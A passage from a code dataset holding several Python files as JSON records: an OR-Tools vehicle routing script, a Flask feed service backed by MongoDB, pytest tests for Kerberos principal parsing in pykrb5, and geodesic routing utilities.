"torch.nn", "line_number": 288, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 289, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 289, "usage_type": "name"}, {"api_name": "torch.rand", "line_number": 307, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 311, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 315, "usage_type": "call"}, {"api_name": "_paritybench_helpers._paritybench_base", "line_number": 319, "usage_type": "name"}]} {"seq_id": "73821249508", "text": "\"\"\"Vehicles Routing Problem (VRP) by google.\n\nhttps://developers.google.com/optimization/routing/vrp\"\"\"\n\nfrom ortools.constraint_solver import routing_enums_pb2\nfrom ortools.constraint_solver import pywrapcp\nimport flora\nimport network_operations as net_ops\nimport input_output_operations as io_ops\nimport pandas as pd\nimport pdb\nimport optops\n\n\ndef create_data_model():\n data = {}\n data['distance_matrix'] = []\n data['num_vehicles'] = 4\n data['depot'] = 0\n return data\n\n\ndef convert_list_data_to_ints(a_list):\n \"\"\" Method to get a list of floats and to return them as ints.\n\n Args:\n a_list (list): list of floats\n return:\n list of ints\n \"\"\"\n int_list = [[int(float(j)) for j in i] for i in a_list]\n return int_list\n\n\ndef print_results_to_map(or_result, data_csvfile):\n \"\"\"Method to read VRP result and original data file and to print\n the result to map\n\n Args:\n or_result (str): text with VRP result\n data_csvfile (str): filepath of original data position in disk\n \"\"\"\n # read data from disk\n supermarkets = pd.read_csv(data_csvfile, delimiter='\\t')\n result = io_ops.get_route_node_ids_from_textfile(or_result)\n # update dataframes with results\n pdb.set_trace()\n add_route_to_df(supermarkets, result)\n\n\ndef add_route_to_df(df, routes, new_col='routes'):\n \"\"\"Method to add a new column (route) to dataframe and\n the corresponding nodes of the route.\n\n Args:\n df (dataframe): Dataframe to work on (add new column)\n routes (dict): dictionary of pairs\n new_col (str, optional): Name of the new column. Defaults to 'routes'.\n \"\"\"\n # add new column to dataframe\n df[new_col] = -1\n # populate new column with data\n for route in routes:\n _populate_df_with_route(routes, route, df)\n\n\ndef _populate_df_with_route(routes_dict, route_id, df):\n \"\"\"Method to populate a dataframe with routes\n\n Args:\n routes_dict ([type]): [description]\n route_id ([type]): [description]\n df ([type]): [description]\n \"\"\"\n pass\n\n\ndef print_solution(data, manager, routing, solution):\n \"\"\"Prints solution on console.\"\"\"\n max_route_distance = 0\n written_result = ''\n for vehicle_id in range(data['num_vehicles']):\n index = routing.Start(vehicle_id)\n plan_output = 'Route for vehicle {}:\\n'.format(vehicle_id)\n route_distance = 0\n while not routing.IsEnd(index):\n plan_output += ' {} -> '.format(manager.IndexToNode(index))\n previous_index = index\n index = solution.Value(routing.NextVar(index))\n route_distance += routing.GetArcCostForVehicle(\n previous_index, index, vehicle_id)\n written_result += plan_output\n plan_output += '{}\\n'.format(manager.IndexToNode(index))\n plan_output += 'Distance of the route: {}m\\n'.format(route_distance)\n print(plan_output)\n max_route_distance = max(route_distance, max_route_distance)\n print('Maximum of the route distances: {}m'.format(max_route_distance))\n return written_result\n\n\ndef main():\n \"\"\"Solve the CVRP problem.\"\"\"\n # Instantiate the data problem.\n #data = flora.flora('results/graphs/attica-graph.graphml', 'data/supermarkets.csv', '') #create_data_model()\n data_csvfile = 'data/super_sample_tabs.csv'\n data = create_data_model()\n od_result = net_ops.compute_distance_matrix(data_csvfile)\n data['distance_matrix'] = od_result[0].values.tolist()\n data['distance_matrix'] = convert_list_data_to_ints(data['distance_matrix'])\n #pdb.set_trace()\n # following line is for kasselouris od matrix\n #io_ops.write_od_to_csv(data['distance_matrix'], 'data/kassel_results.csv')\n\n # Create the routing index manager.\n manager = pywrapcp.RoutingIndexManager(len(data['distance_matrix']),\n data['num_vehicles'], data['depot'])\n\n # Create Routing Model.\n routing = pywrapcp.RoutingModel(manager)\n\n\n # Create and register a transit callback.\n def distance_callback(from_index, to_index):\n \"\"\"Returns the distance between the two nodes.\"\"\"\n # Convert from routing variable Index to distance matrix NodeIndex.\n from_node = manager.IndexToNode(from_index)\n to_node = manager.IndexToNode(to_index)\n return data['distance_matrix'][from_node][to_node]\n\n transit_callback_index = routing.RegisterTransitCallback(distance_callback)\n\n # Define cost of each arc.\n routing.SetArcCostEvaluatorOfAllVehicles(transit_callback_index)\n\n # Add Distance constraint.\n dimension_name = 'Distance'\n routing.AddDimension(\n transit_callback_index,\n 0, # no slack\n 20000, # vehicle maximum travel distance\n True, # start cumul to zero\n dimension_name)\n distance_dimension = routing.GetDimensionOrDie(dimension_name)\n distance_dimension.SetGlobalSpanCostCoefficient(100000)\n\n # Setting first solution heuristic.\n search_parameters = pywrapcp.DefaultRoutingSearchParameters()\n search_parameters.first_solution_strategy = (\n routing_enums_pb2.FirstSolutionStrategy.PATH_CHEAPEST_ARC)\n\n # Solve the problem.\n solution = routing.SolveWithParameters(search_parameters)\n\n # Print solution on console.\n written_solution = ''\n or_result = 'results/or_results.txt'\n solution_paths = optops.get_all_routes(data, manager, routing, solution)\n if solution:\n written_solution = print_solution(data, manager, routing, solution)\n with open(or_result, 'w') as f:\n f.write(written_solution)\n pdb.set_trace()\n # process the results and print them to map\n print_results_to_map(or_result, data_csvfile)\n\n\nif __name__ == '__main__':\n main()", "repo_name": "cbabalis/osm_project", "sub_path": "src/or_network_operations.py", "file_name": "or_network_operations.py", "file_ext": "py", "file_size_in_byte": 5793, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 44, "usage_type": "call"}, {"api_name": "input_output_operations.get_route_node_ids_from_textfile", "line_number": 45, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 47, "usage_type": "call"}, {"api_name": "network_operations.compute_distance_matrix", "line_number": 107, "usage_type": "call"}, {"api_name": "ortools.constraint_solver.pywrapcp.RoutingIndexManager", "line_number": 115, "usage_type": "call"}, {"api_name": "ortools.constraint_solver.pywrapcp", "line_number": 115, "usage_type": "name"}, {"api_name": "ortools.constraint_solver.pywrapcp.RoutingModel", "line_number": 119, "usage_type": "call"}, {"api_name": "ortools.constraint_solver.pywrapcp", "line_number": 119, "usage_type": "name"}, {"api_name": "ortools.constraint_solver.pywrapcp.DefaultRoutingSearchParameters", "line_number": 147, "usage_type": "call"}, {"api_name": "ortools.constraint_solver.pywrapcp", "line_number": 147, "usage_type": "name"}, {"api_name": "ortools.constraint_solver.routing_enums_pb2.FirstSolutionStrategy", "line_number": 149, "usage_type": "attribute"}, {"api_name": "ortools.constraint_solver.routing_enums_pb2", "line_number": 149, "usage_type": "name"}, {"api_name": "optops.get_all_routes", "line_number": 157, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 162, "usage_type": "call"}]} {"seq_id": "19929563520", "text": "import database.db as db\nfrom flask import jsonify\nfrom bson.objectid import ObjectId\nfrom domain.domain import FeedDomain\n\nclass FeedService:\n def addNewContent(self,FeedDomain):\n try:\n response=db.Feeds().addPost(FeedDomain)\n except Exception as e:\n print(\"the value of error is\",e)\n return {\"message\":\"Error while Adding the post\"}\n \n try:\n postID=str(response.inserted_id)\n db.UserFeed().addNewPost(FeedDomain,postID)\n return {\"message\":\"Successfully Added The post\"}\n except Exception as e:\n db.Feeds().deletePost(FeedDomain.userID,response.inserted_id)\n return {\"message\":\"Error While Adding The Post2\"},500\n\n def deleteContent(self,userID,postID):\n postIDKey=ObjectId(postID)\n try:\n response=db.Feeds().deletePost(userID,postIDKey)\n if response==None:\n return {\"message\":\"Unable To Delete The post\"},500\n db.UserFeed().deleteContent(userID,postID)\n return {\"message\":\"Post Has Been Deleted Successfully\"},200\n except Exception as e:\n print(\"The value of error is\",e)\n return {\"message\":\"Error while deleting the post\"},500\n\n def modifyContent(self,userID,postID,FeedDomain):\n postIDKey=ObjectId(postID)\n savedDetaills=db.Feeds().getPost(postIDKey)\n if savedDetaills==None:\n return {\"message\":\"Unable To Fetch The Details\"},404\n if FeedDomain.company==\"\":\n FeedDomain.company=savedDetaills[\"company\"]\n if FeedDomain.description==\"\":\n FeedDomain.description=savedDetaills[\"description\"]\n if FeedDomain.experience==\"\":\n FeedDomain.experience=savedDetaills['experience']\n if FeedDomain.role==\"\":\n FeedDomain.role=savedDetaills[\"role\"]\n try:\n response=db.Feeds().ModifyPost(postIDKey,FeedDomain)\n if response==None:\n return{\"message\":\"Unable To Update The post\"},500\n db.UserFeed().ModifyPost(postID,FeedDomain)\n return {\"message\":\"Post Has Been Updated Successfully\"},200\n except:\n return {\"message\":\"Error While Updating The Details\"},500\n\n\n def ViewContentOfUser(self,userID):\n try:\n response=db.UserFeed().ViewAllContent(userID)\n except:\n return {\"message\":\"Unable To Fetch The Posts....\"},500\n if response==None:\n return {\"message\":\"No Data Found\"}, 404\n else:\n for values in response[\"Content\"]:\n values[\"postID\"]=str(values[\"postID\"])\n return response[\"Content\"]\n \n def getPost(self,postID):\n postID=ObjectId(postID)\n try:\n response=db.Feeds().getPost(postID)\n if response==None:\n return {\"message\":\"No Post Found\"},404\n else:\n response[\"_id\"]=str(response[\"_id\"])\n return response\n except:\n return {\"message\":\"Couldn't Fetch The post...Please Try again\"},500\n \n def filterPost(self,experience,role,company):\n try:\n ans=[]\n results=None\n if experience!=None:\n results=db.Feeds().filterByExperience(experience)\n elif role!=None:\n results=db.Feeds().filterByRole(role)\n elif company!=None:\n results=db.Feeds().filterByCompany(company)\n for values in results:\n if experience!=None and values[\"experience\"]!=experience:\n continue\n elif role!=None and values[\"role\"]!=role:\n continue\n elif company!=None and values[\"company\"]!=company:\n continue\n else:\n values[\"_id\"]=str(values[\"_id\"])\n ans.append(values)\n return ans\n\n except Exception as e:\n print(\"the value of error is\",e)\n return {\"message\":\"Cannot Filter Values According to the result\"}", "repo_name": "ankitanwar/DiscussionHUB", "sub_path": "feed/services/services.py", "file_name": "services.py", "file_ext": "py", "file_size_in_byte": 4110, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "domain.domain.FeedDomain", "line_number": 9, "usage_type": "argument"}, {"api_name": "database.db.Feeds", "line_number": 9, "usage_type": "call"}, {"api_name": "database.db", "line_number": 9, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain", "line_number": 16, "usage_type": "argument"}, {"api_name": "database.db.UserFeed", "line_number": 16, "usage_type": "call"}, {"api_name": "database.db", "line_number": 16, "usage_type": "name"}, {"api_name": "database.db.Feeds", "line_number": 19, "usage_type": "call"}, {"api_name": "database.db", "line_number": 19, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.userID", "line_number": 19, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 19, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 23, "usage_type": "call"}, {"api_name": "database.db.Feeds", "line_number": 25, "usage_type": "call"}, {"api_name": "database.db", "line_number": 25, "usage_type": "name"}, {"api_name": "database.db.UserFeed", "line_number": 28, "usage_type": "call"}, {"api_name": "database.db", "line_number": 28, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 35, "usage_type": "call"}, {"api_name": "database.db.Feeds", "line_number": 36, "usage_type": "call"}, {"api_name": "database.db", "line_number": 36, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.company", "line_number": 39, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 39, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.company", "line_number": 40, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 40, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.description", "line_number": 41, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 41, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.description", "line_number": 42, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 42, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.experience", "line_number": 43, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 43, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.experience", "line_number": 44, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 44, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.role", "line_number": 45, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 45, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain.role", "line_number": 46, "usage_type": "attribute"}, {"api_name": "domain.domain.FeedDomain", "line_number": 46, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain", "line_number": 48, "usage_type": "argument"}, {"api_name": "database.db.Feeds", "line_number": 48, "usage_type": "call"}, {"api_name": "database.db", "line_number": 48, "usage_type": "name"}, {"api_name": "domain.domain.FeedDomain", "line_number": 51, "usage_type": "argument"}, {"api_name": "database.db.UserFeed", "line_number": 51, "usage_type": "call"}, {"api_name": "database.db", "line_number": 51, "usage_type": "name"}, {"api_name": "database.db.UserFeed", "line_number": 59, "usage_type": "call"}, {"api_name": "database.db", "line_number": 59, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 70, "usage_type": "call"}, {"api_name": "database.db.Feeds", "line_number": 72, "usage_type": "call"}, {"api_name": "database.db", "line_number": 72, "usage_type": "name"}, {"api_name": "database.db.Feeds", "line_number": 86, "usage_type": "call"}, {"api_name": "database.db", "line_number": 86, "usage_type": "name"}, {"api_name": "database.db.Feeds", "line_number": 88, "usage_type": "call"}, {"api_name": "database.db", "line_number": 88, "usage_type": "name"}, {"api_name": "database.db.Feeds", "line_number": 90, "usage_type": "call"}, {"api_name": "database.db", "line_number": 90, "usage_type": "name"}]} {"seq_id": "648130410", "text": "import k5test\nimport pytest\n\nimport krb5\n\n\ndef test_parse_principal(realm: k5test.K5Realm) -> None:\n name = f\"role/abc\\\\/def\\\\@test@{realm.realm}\"\n ctx = krb5.init_context()\n\n principal = krb5.parse_name_flags(ctx, name.encode())\n assert isinstance(principal, krb5.Principal)\n assert str(principal) == name\n assert repr(principal) == f\"Principal({name})\"\n assert principal.name == name.encode()\n assert isinstance(principal.addr, int)\n\n no_flags = krb5.parse_name_flags(ctx, name.encode(), flags=krb5.PrincipalParseFlags.none)\n assert isinstance(principal, krb5.Principal)\n assert str(principal) == str(no_flags)\n\n no_realm = krb5.parse_name_flags(ctx, b\"role/abc\\\\/def\\\\@test\", flags=krb5.PrincipalParseFlags.no_realm)\n assert isinstance(no_realm, krb5.Principal)\n if realm.provider == \"mit\":\n # MIT seems to have a bug here\n assert str(no_realm) == \"role/abc\\\\/def@test\"\n else:\n assert str(no_realm) == \"role/abc\\\\/def\\\\@test\"\n\n require_realm = krb5.parse_name_flags(ctx, name.encode(), flags=krb5.PrincipalParseFlags.require_realm)\n assert isinstance(require_realm, krb5.Principal)\n assert str(require_realm) == name\n\n enterprise = krb5.parse_name_flags(ctx, name.encode(), flags=krb5.PrincipalParseFlags.enterprise)\n assert isinstance(enterprise, krb5.Principal)\n assert str(enterprise) == f\"role\\\\/abc\\\\/def\\\\@test\\\\@{realm.realm}@{realm.realm}\"\n\n ignore_realm = krb5.parse_name_flags(ctx, name.encode(), flags=krb5.PrincipalParseFlags.ignore_realm)\n assert isinstance(ignore_realm, krb5.Principal)\n if realm.provider == \"mit\":\n assert str(ignore_realm) == \"role/abc\\\\/def@test\"\n else:\n assert str(ignore_realm) == \"role/abc\\\\/def\\\\@test\"\n\n\ndef test_parse_principal_no_realm_failure(realm: k5test.K5Realm) -> None:\n ctx = krb5.init_context()\n\n expected = \"has realm present\" if realm.provider == \"mit\" else \"realm found in\"\n with pytest.raises(krb5.Krb5Error, match=expected):\n krb5.parse_name_flags(ctx, realm.user_princ.encode(), flags=krb5.PrincipalParseFlags.no_realm)\n\n\ndef test_unparse_principal(realm: k5test.K5Realm) -> None:\n name = f\"role/abc\\\\/def\\\\@test@{realm.realm}\"\n ctx = krb5.init_context()\n principal = krb5.parse_name_flags(ctx, name.encode())\n\n normal = krb5.unparse_name_flags(ctx, principal)\n assert normal == b\"role/abc\\\\/def\\\\@test@\" + realm.realm.encode()\n\n no_flags = krb5.unparse_name_flags(ctx, principal, flags=krb5.PrincipalUnparseFlags.none)\n assert no_flags == normal\n\n no_realm = krb5.unparse_name_flags(ctx, principal, flags=krb5.PrincipalUnparseFlags.no_realm)\n if realm.provider == \"mit\":\n # MIT seems to have a bug here\n assert no_realm == b\"role/abc\\\\/def@test\"\n else:\n assert no_realm == b\"role/abc\\\\/def\\\\@test\"\n\n display = krb5.unparse_name_flags(ctx, principal, flags=krb5.PrincipalUnparseFlags.display)\n assert display == b\"role/abc/def@test@\" + realm.realm.encode()\n\n short = krb5.unparse_name_flags(ctx, principal, flags=krb5.PrincipalUnparseFlags.short)\n assert short == b\"role/abc\\\\/def\\\\@test\"\n\n krb5.set_default_realm(ctx, b\"NEW.REALM\")\n short = krb5.unparse_name_flags(ctx, principal, flags=krb5.PrincipalUnparseFlags.short)\n assert short == b\"role/abc\\\\/def\\\\@test@\" + realm.realm.encode()\n\n\n@pytest.mark.requires_api(\"principal_get_realm\")\ndef test_principal_get_realm() -> None:\n ctx = krb5.init_context()\n principal = krb5.parse_name_flags(ctx, b\"username@REALM.COM\")\n\n realm = krb5.principal_get_realm(ctx, principal)\n assert realm == b\"REALM.COM\"\n", "repo_name": "jborean93/pykrb5", "sub_path": "tests/test_principal.py", "file_name": "test_principal.py", "file_ext": "py", "file_size_in_byte": 3618, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "71", "api": [{"api_name": "k5test.K5Realm", "line_number": 7, "usage_type": "attribute"}, {"api_name": "krb5.init_context", "line_number": 9, "usage_type": "call"}, {"api_name": "krb5.parse_name_flags", "line_number": 11, "usage_type": "call"}, {"api_name": "krb5.Principal", "line_number": 12, "usage_type": "attribute"}, {"api_name": "krb5.parse_name_flags", "line_number": 18, "usage_type": "call"}, {"api_name": "krb5.PrincipalParseFlags", "line_number": 18, "usage_type": "attribute"}, {"api_name": "krb5.Principal", "line_number": 19, "usage_type": "attribute"}, {"api_name": "krb5.parse_name_flags", "line_number": 22, "usage_type": "call"}, {"api_name": "krb5.PrincipalParseFlags", "line_number": 22, "usage_type": "attribute"}, {"api_name": "krb5.Principal", "line_number": 23, "usage_type": "attribute"}, {"api_name": "krb5.parse_name_flags", "line_number": 30, "usage_type": "call"}, {"api_name": "krb5.PrincipalParseFlags", "line_number": 30, "usage_type": "attribute"}, {"api_name": "krb5.Principal", "line_number": 31, "usage_type": "attribute"}, {"api_name": "krb5.parse_name_flags", "line_number": 34, "usage_type": "call"}, {"api_name": "krb5.PrincipalParseFlags", "line_number": 34, "usage_type": "attribute"}, {"api_name": "krb5.Principal", "line_number": 35, "usage_type": "attribute"}, {"api_name": "krb5.parse_name_flags", "line_number": 38, "usage_type": "call"}, {"api_name": "krb5.PrincipalParseFlags", "line_number": 38, "usage_type": "attribute"}, {"api_name": "krb5.Principal", "line_number": 39, "usage_type": "attribute"}, {"api_name": "k5test.K5Realm", "line_number": 46, "usage_type": "attribute"}, {"api_name": "krb5.init_context", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 50, "usage_type": "call"}, {"api_name": "krb5.Krb5Error", "line_number": 50, "usage_type": "attribute"}, {"api_name": "krb5.parse_name_flags", "line_number": 51, "usage_type": "call"}, {"api_name": "krb5.PrincipalParseFlags", "line_number": 51, "usage_type": "attribute"}, {"api_name": "k5test.K5Realm", "line_number": 54, "usage_type": "attribute"}, {"api_name": "krb5.init_context", "line_number": 56, "usage_type": "call"}, {"api_name": "krb5.parse_name_flags", "line_number": 57, "usage_type": "call"}, {"api_name": "krb5.unparse_name_flags", "line_number": 59, "usage_type": "call"}, {"api_name": "krb5.unparse_name_flags", "line_number": 62, "usage_type": "call"}, {"api_name": "krb5.PrincipalUnparseFlags", "line_number": 62, "usage_type": "attribute"}, {"api_name": "krb5.unparse_name_flags", "line_number": 65, "usage_type": "call"}, {"api_name": "krb5.PrincipalUnparseFlags", "line_number": 65, "usage_type": "attribute"}, {"api_name": "krb5.unparse_name_flags", "line_number": 72, "usage_type": "call"}, {"api_name": "krb5.PrincipalUnparseFlags", "line_number": 72, "usage_type": "attribute"}, {"api_name": "krb5.unparse_name_flags", "line_number": 75, "usage_type": "call"}, {"api_name": "krb5.PrincipalUnparseFlags", "line_number": 75, "usage_type": "attribute"}, {"api_name": "krb5.set_default_realm", "line_number": 78, "usage_type": "call"}, {"api_name": "krb5.unparse_name_flags", "line_number": 79, "usage_type": "call"}, {"api_name": "krb5.PrincipalUnparseFlags", "line_number": 79, "usage_type": "attribute"}, {"api_name": "krb5.init_context", "line_number": 85, "usage_type": "call"}, {"api_name": "krb5.parse_name_flags", "line_number": 86, "usage_type": "call"}, {"api_name": "krb5.principal_get_realm", "line_number": 88, "usage_type": "call"}, {"api_name": "pytest.mark.requires_api", "line_number": 83, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 83, "usage_type": "attribute"}]} {"seq_id": "73383234791", "text": "from typing import Tuple\nimport math\nimport latlon\n\n# from geographiclib.geodesic import Geodesic\n# geod = Geodesic.WGS84\n\nEARTH_RADIUS = 60.0 * 360 / (2 * math.pi) # nm\nNAUTICAL_MILE_IN_KM = 1.852\n\ndef cfbinomiale(n: float, i: float) -> float:\n\treturn math.factorial(n)/(math.factorial(n-i)*math.factorial(i))\n\ndef ortodromic2 (lat1: float, lon1: float, lat2: float, lon2: float) -> Tuple[float, float]:\n\tp1 = math.radians (lat1)\n\tp2 = math.radians (lat2)\n\tdp = math.radians (lat2-lat1)\n\tdp2 = math.radians (lon2-lon1)\n\n\ta = math.sin (dp/2) * math.sin (dp2/2) + math.cos (p1) * math.cos (p2) * math.sin (dp2/2) * math.sin (dp2/2)\n\tc = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))\n\treturn (EARTH_RADIUS * c, a)\n\ndef ortodromic (latA: float, lonA: float, latB: float, lonB: float) -> Tuple[float, float]:\n\t# g = geod.Inverse(latA, lonA, latB, lonB)\n\t# return (g['s12'] * 1e-3, math.radians (g['azi1']))\n\n\tp1 = latlon.LatLon(latlon.Latitude(latA), latlon.Longitude(lonA))\n\tp2 = latlon.LatLon(latlon.Latitude(latB), latlon.Longitude(lonB))\n\treturn (p1.distance (p2), math.radians (p1.heading_initial(p2)))\n\ndef lossodromic (latA: float, lonA: float, latB: float, lonB: float) -> Tuple[float, float]:\n\t# g = geod.Inverse(latA, lonA, latB, lonB)\n\t# return (g['s12'] * 1e-3, math.radians (g['azi1']))\n\n\tp1 = latlon.LatLon(latlon.Latitude(latA), latlon.Longitude(lonA))\n\tp2 = latlon.LatLon(latlon.Latitude(latB), latlon.Longitude(lonB))\n\treturn (p1.distance (p2, ellipse = 'sphere'), math.radians (p1.heading_initial(p2)))\n\n\ndef km2nm(d: float) -> float:\n\treturn d * 0.539957\n\ndef nm2km(d: float) -> float:\n\treturn d / 0.539957\n\ndef pointDistance (latA: float, lonA: float, latB: float, lonB: float, unit: str = 'nm') -> float:\n\t\"\"\" Returns the distance between two geo points \"\"\"\n\tp1 = latlon.LatLon(latlon.Latitude(latA), latlon.Longitude(lonA))\n\tp2 = latlon.LatLon(latlon.Latitude(latB), latlon.Longitude(lonB))\n\td = p1.distance (p2)\n\n\t# d = ortodromic(latA, lonA, latB, lonB)[0]\n\n\tif unit == 'nm':\n\t\treturn km2nm(d)\n\telif unit == 'km':\n\t\treturn d\n\ndef routagePointDistance (latA: float, lonA: float, distance: float, hdg: float, unit: str='nm') -> Tuple[float, float]:\n\t\"\"\" Returns the point from (latA, lonA) to the given (distance, hdg) \"\"\"\n\tif unit == 'nm':\n\t\td = nm2km(distance)\n\telif unit == 'km':\n\t\td = distance\n\n\t# g = geod.Direct(latA, lonA, math.degrees(hdg), d * 1e3)\n\t# return (g['lat2'], g['lon2'])\n\n\tp = latlon.LatLon(latlon.Latitude(latA), latlon.Longitude(lonA))\n\tof = p.offset (math.degrees (hdg), d).to_string('D')\n\treturn (float (of[0]), float (of[1]))\n\n\ndef maxReachDistance(p, speed: float, dt: float = (1. / 60. * 60.)) -> float:\n\tmaxp = routagePointDistance (p[0], p[1], speed * dt, 1)\n\treturn pointDistance(p[0], p[1], maxp[0], maxp[1])\n\n\ndef reduce360 (alfa: float) -> float:\n\tif math.isnan (alfa):\n\t\treturn 0.0\n\n\tn=int(alfa*0.5/math.pi)\n\tn=math.copysign(n,1)\n\tif alfa>2.0*math.pi:\n\t\talfa=alfa-n*2.0*math.pi\n\tif alfa<0:\n\t\talfa=(n+1)*2.0*math.pi+alfa\n\tif alfa>2.0*math.pi or alfa<0:\n\t\treturn 0.0\n\treturn alfa\n\ndef reduce180 (alfa: float) -> float:\n\tif alfa>math.pi:\n\t\talfa=alfa-2*math.pi\n\tif alfa<-math.pi:\n\t\talfa=2*math.pi+alfa\n\tif alfa>math.pi or alfa<-math.pi:\n\t\treturn 0.0\n\treturn alfa\n\ndef pathAsGeojson(path) -> object:\n\tfeats = []\n\troute = []\n\n\tfor order, wayp in enumerate(path):\n\t\tfeat = {\n\t\t\t\"type\": \"Feature\",\n\t\t\t\"id\": order,\n\t\t\t\"geometry\": {\n\t\t\t\t\"type\": \"Point\",\n\t\t\t\t\"coordinates\": [ # longitude, latitude\n\t\t\t\t\twayp.pos[1],\n\t\t\t\t\twayp.pos[0]\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"properties\": {\n\t\t\t\t\"timestamp\": str(wayp.time),\n\t\t\t\t\"twd\": math.degrees(wayp.twd),\n\t\t\t\t\"tws\": wayp.tws,\n\t\t\t\t\"knots\": wayp.speed,\n\t\t\t\t\"heading\": wayp.brg\n\t\t\t}\n\t\t}\n\t\tfeats.append(feat)\n\t\troute.append([wayp.pos[1], wayp.pos[0]]) # longitude, latitude\n\n\tfeats.append({\n\t\t\"type\": \"Feature\",\n\t\t\"id\": 999,\n\t\t\"geometry\": {\n\t\t\t\"type\": \"LineString\",\n\t\t\t\"coordinates\": route\n\t\t},\n\t\t\"properties\": {\n\t\t\t\"start-timestamp\": str(path[0].time),\n\t\t\t\"end-timestamp\": str(path[-1].time)\n\t\t}\n\t})\n\n\treturn {\n\t\t\"type\": \"FeatureCollection\",\n\t\t\"features\": feats\n\t}\n", "repo_name": "dakk/libweatherrouting", "sub_path": "weatherrouting/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4029, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "71", "api": [{"api_name": "math.pi", "line_number": 8, "usage_type": "attribute"}, {"api_name": "math.factorial", "line_number": 12, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 15, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 16, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 17, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 18, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 20, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 20, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 21, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 21, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 14, "usage_type": "name"}, {"api_name": "latlon.LatLon", "line_number": 28, "usage_type": "call"}, {"api_name": "latlon.Latitude", "line_number": 28, "usage_type": "call"}, {"api_name": "latlon.Longitude", "line_number": 28, "usage_type": "call"}, {"api_name": "latlon.LatLon", "line_number": 29, "usage_type": "call"}, {"api_name": "latlon.Latitude", "line_number": 29, "usage_type": "call"}, {"api_name": "latlon.Longitude", "line_number": 29, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 30, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 24, "usage_type": "name"}, {"api_name": "latlon.LatLon", "line_number": 36, "usage_type": "call"}, {"api_name": "latlon.Latitude", "line_number": 36, "usage_type": "call"}, {"api_name": "latlon.Longitude", "line_number": 36, "usage_type": "call"}, {"api_name": "latlon.LatLon", "line_number": 37, "usage_type": "call"}, {"api_name": "latlon.Latitude", "line_number": 37, "usage_type": "call"}, {"api_name": "latlon.Longitude", "line_number": 37, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 32, "usage_type": "name"}, {"api_name": "latlon.LatLon", "line_number": 49, "usage_type": "call"}, {"api_name": "latlon.Latitude", "line_number": 49, "usage_type": "call"}, {"api_name": "latlon.Longitude", "line_number": 49, "usage_type": "call"}, {"api_name": "latlon.LatLon", "line_number": 50, "usage_type": "call"}, {"api_name": "latlon.Latitude", "line_number": 50, "usage_type": "call"}, {"api_name": "latlon.Longitude", "line_number": 50, "usage_type": "call"}, {"api_name": "latlon.LatLon", "line_number": 70, "usage_type": "call"}, {"api_name": "latlon.Latitude", "line_number": 70, "usage_type": "call"}, {"api_name": "latlon.Longitude", "line_number": 70, "usage_type": "call"}, {"api_name": "math.degrees", "line_number": 71, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 60, "usage_type": "name"}, {"api_name": "math.isnan", "line_number": 81, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 84, "usage_type": "attribute"}, {"api_name": "math.copysign", "line_number": 85, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 86, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 87, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 89, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 90, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 95, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 96, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 97, 